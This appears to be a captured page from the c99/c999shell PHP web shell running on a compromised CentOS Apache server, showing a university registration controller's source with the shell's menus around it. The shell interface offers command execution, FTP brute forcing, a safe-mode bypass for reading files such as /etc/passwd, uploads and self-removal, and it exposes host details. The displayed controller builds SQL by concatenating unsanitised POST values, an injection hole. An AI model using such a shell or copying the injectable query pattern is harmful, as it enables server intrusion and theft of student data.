!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/eregis-12022565/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     regist2pieis.php (8.08 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('application/controllers/login.php');
class 
Regist2pieis extends Login {
    private 
$acY;
    private 
$tmId;  
    
    function 
__construct() {
        
parent::__construct();
        
$this->db $this->load->database('rg'TRUE);
        
$this->load->model($this->config->item("rg_folder").'mo_rg_termconfig','tmc');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_config','cfg');

        
$qu_tmc $this->tmc->qryTmcBetweenDate(getNowDate());
        if (
$qu_tmc->num_rows()) {
            
$row_tmc $qu_tmc->row();

            
$this->acY $row_tmc->tmcAcY;
            
$this->tmId $row_tmc->tmcTmId;
        }

        
$qu_cfg $this->cfg->qryCfg();
        if (
$qu_cfg->num_rows()) {
            
$row_cfg $qu_cfg->row();

            
$data['table_color_even'] = $row_cfg->cfgBgClTrAndTd;
            
$data['tr_color_even'] = $row_cfg->cfgBgClSwapTr;
            
$data['font_color_table'] = $row_cfg->cfgFnClHeadTb;
            
$data['font_color_err'] = $row_cfg->cfgFnClErrSpec;

            
$this->body $this->load->view($this->config->item("rg_folder").'v_header_js'$datatrue);
        }
    }

    function 
rpt_ftes() {
        
$data['postYear'] = $this->input->post('year');    
        
$data['credit'] = $this->input->post('credit');
        
$data['curId'] = $this->input->post('cur_select');
        
$data['crsId'] = $this->input->post('crs_select');
                
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studentsummary','ssm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rgd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$group_std = array(
                            
'rdAcy' => 'rdAcY'
                        
);
        
$data['year'] = $this->rgd->qryRd('','',$group_std)->result();
        
        
$year $this->input->post('year');
        
$data['postYear'] = $year;
        
$con_std = array('coAcY' => $year);
        
$group_std = array('coCurId' => 'coCurId');
        
        
$data['co_cur'] = $this->co->qryCoJoinCrsCur($con_std,'',$group_std);
        
$data['nums'] = $data['co_cur']->num_rows();
        
$data['co_obj'] = $data['co_cur']->result();
        
$i 0;
        foreach(
$data['co_cur']->result() as $row){
        
$con_std = array('coAcY' => $year,'coCurId' => $row->coCurId); 
         
$data['rs_array'][$i] = $this->rgd->qryRdJnCrsOpCrsCountRow($con_std,'','');
         
$i++;
        }
        
$this->body .= $this->load->view($this->config->item("rg_folder")."v_pieis_ftes",$data,true);
        
$this->showPopup();//$this->show();
    
}

    function 
rpt_workload() {
        
    }
     
    public function 
showGradeByCourse(){
        
$year $this->input->post('year')?$this->input->post('year'):2556;
        
$term $this->input->post('term')?$this->input->post('term'):1;
        
$sy $this->input->post('sy')?$this->input->post('sy'):1;

        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
        
// ค้นหาปีการศึกษาที่เปิดการศึกษา
        
$sql "SELECT coAcY FROM rg_CourseOpen WHERE 1=1 GROUP BY coAcY ORDER BY coAcY DESC ";
        
$acYList $this->co->db->query($sql,array());
        
$opt_acY = array();
        foreach(
$acYList->result() as $v){
            
$opt_acY[$v->coAcY] = $v->coAcY;
        }
        
$data['opt_acY'] = $opt_acY;
        
        
$sql "SELECT * FROM  `rg_Term` ";
        
$tmList $this->co->db->query($sql,array());        
        
$opt_tm = array();
        foreach(
$tmList->result() as $v){
            
$opt_tm[$v->tmId] = $v->tmName;
        }
        
$data['opt_tm'] = $opt_tm;
        
        
$data['opt_sy'] = array('1'=>'1','2'=>'2','3'=>'3','4'=>'4');
        
        
// ค้นหา นับจำนวนนักศึกษาที่ได้แต่ละเกรด
        
$sql "SELECT crsId, crsCode, crsName 
            ,COUNT(*) as rdNum
            , coNumSeatReg
            , SUM(CASE WHEN rdGrade != ' ' THEN 1 ELSE 0 END) as rdGradeNum
            , '0' as rdWdNum
            , SUM(CASE WHEN rdGrade LIKE 'A' THEN 1 ELSE 0 END) as rdANum                    
            , SUM(CASE WHEN rdGrade LIKE 'B+' THEN 1 ELSE 0 END) as rdBpNum                    
            , SUM(CASE WHEN rdGrade LIKE 'B' THEN 1 ELSE 0 END) as rdBNum    
            , SUM(CASE WHEN rdGrade LIKE 'C+' THEN 1 ELSE 0 END) as rdCpNum    
            , SUM(CASE WHEN rdGrade LIKE 'C' THEN 1 ELSE 0 END) as rdCNum                    
            , SUM(CASE WHEN rdGrade LIKE 'D+' THEN 1 ELSE 0 END) as rdDpNum                    
            , SUM(CASE WHEN rdGrade LIKE 'D' THEN 1 ELSE 0 END) as rdDNum    
            , SUM(CASE WHEN rdGrade LIKE 'F' THEN 1 ELSE 0 END) as rdFNum    
            , SUM(CASE WHEN rdGrade LIKE 'I' THEN 1 ELSE 0 END) as rdINum
            , SUM(CASE WHEN rdGrade LIKE 'P' OR rdGrade LIKE 'S' THEN 1 ELSE 0 END) as rdPSNum    
            , SUM(CASE WHEN rdGrade LIKE 'U' THEN 1 ELSE 0 END) as rdUNum    
            , SUM(CASE WHEN rdGrade LIKE 'W' THEN 1 ELSE 0 END) as rdWNum                        
        FROM rg_CourseOpen 
        INNER JOIN rg_Course ON coCrsId = crsId
        INNER JOIN rg_RegistDetails ON rdAcY = coAcY AND rdCoId = coId 
        WHERE coAcY = "
.$year.
        AND coSyId = "
.$sy.
        AND coTmId = "
.$term."
        AND coNumSeatReg != 0
        GROUP BY crsId 
        ORDER BY coTmId    "
;                
        
        
$data['result'] = $this->co->db->query($sql,array());
        
//$this->contents['result'] = $data['result'];

        
$data['year'] = $year;
        
$data['term'] = $term;
        
$data['sy'] = $sy;
        
//$this->output($this->config->item("rg_folder")."v_grpShowGradeByCourse");
        
$this->body .=  $this->load->view($this->config->item("rg_folder")."v_grpShowGradeByCourse",$data,true);    
        
$this->show();        
    }
    
    
//รายงานสรุป GPA ของนักศึกษาแต่ แสดงเป็นกราฟ(รูปแบบใดก้อได้) โดยสามารถนำเสนอจากค่าเฉลี่ย สามารถบอกค่าสูงสุด ต่ำสุด และช่วงคะแนนได้ 
    
function grpPercentGrade(){
        
        
$year $this->input->post('year')?$this->input->post('year'):2556;
        
$term $this->input->post('term')?$this->input->post('term'):1;
        
$sy $this->input->post('sy')?$this->input->post('sy'):1;
        
$type $this->input->post('type')?$this->input->post('type'):'pie';
        
$data['year'] = $year;
        
$data['term'] = $term;
        
$data['sy'] = $sy;
        
$data['type'] = $type;
        
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
        
// ค้นหาปีการศึกษาที่เปิดการศึกษา
        
$sql "SELECT coAcY FROM rg_CourseOpen WHERE 1=1 GROUP BY coAcY ORDER BY coAcY DESC ";
        
$acYList $this->co->db->query($sql,array());
        
$opt_acY = array();
        foreach(
$acYList->result() as $v){
            
$opt_acY[$v->coAcY] = $v->coAcY;
        }
        
$data['opt_acY'] = $opt_acY;
        
        
$sql "SELECT * FROM  `rg_Term` ";
        
$tmList $this->co->db->query($sql,array());        
        
$opt_tm = array();
        foreach(
$tmList->result() as $v){
            
$opt_tm[$v->tmId] = $v->tmName;
        }
        
$data['opt_tm'] = $opt_tm;
        
$data['opt_sy'] = array('1'=>'1','2'=>'2','3'=>'3','4'=>'4');
        
        
//----
        
$gradeType = array("0.00-1.99","2.00-2.49","2.50-2.99","3.00-3.49","3.50-4.00");
        
//COUNT(ssmGPA) as numStd
        //ROUND(ssmGPA,2) as ssmGPA
        
$sql "SELECT COUNT(ssmGPA) as numStd
                , SUM(CASE WHEN ssmGPA between 0.00 AND 1.99 THEN 1 ELSE 0 END) as numStd0
                , SUM(CASE WHEN ssmGPA between 2.00 AND 2.49 THEN 1 ELSE 0 END) as numStd1
                , SUM(CASE WHEN ssmGPA between 2.50 AND 2.99 THEN 1 ELSE 0 END) as numStd2
                , SUM(CASE WHEN ssmGPA between 3.00 AND 3.49 THEN 1 ELSE 0 END) as numStd3
                , SUM(CASE WHEN ssmGPA between 3.50 AND 4.00 THEN 1 ELSE 0 END) as numStd4
                FROM  `rg_StudentSummary` 
                WHERE `ssmSstId` IN ('1','2','3','4')
                AND ssmAcY = ? AND ssmTmId = ?
                AND ssmSyId = ?"
;
        
$listGrade $this->co->db->query($sql,array($year,$term,$sy));
        
//echo $this->db->last_query();
                /*
        $sql = "SELECT ssmStdId,ROUND(ssmGPA,2) as ssmGPA
                FROM  `rg_StudentSummary` 
                WHERE `ssmSstId` IN ('1','2','3','4')
                AND ssmAcY = ? AND ssmTmId = ?
                AND ssmSyId = ?
                AND ssmGPA between ? AND ? ";
            $listGrade[0] = $this->co->db->query($sql,array($year,$term,$sy,0.00,1.99));    
            $listGrade[1] = $this->co->db->query($sql,array($year,$term,$sy,2.00,2.49));
            $listGrade[2] = $this->co->db->query($sql,array($year,$term,$sy,2.50,2.99));
            $listGrade[3] = $this->co->db->query($sql,array($year,$term,$sy,3.00,3.49));
            $listGrade[4] = $this->co->db->query($sql,array($year,$term,$sy,3.50,1.99));    */    
        
        
$data['result'] = $listGrade;//$data['result'];
        
        
$this->body .=  $this->load->view($this->config->item("rg_folder")."v_grpPercentGrade",$data,true);    
        
$this->show();
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0094 ]--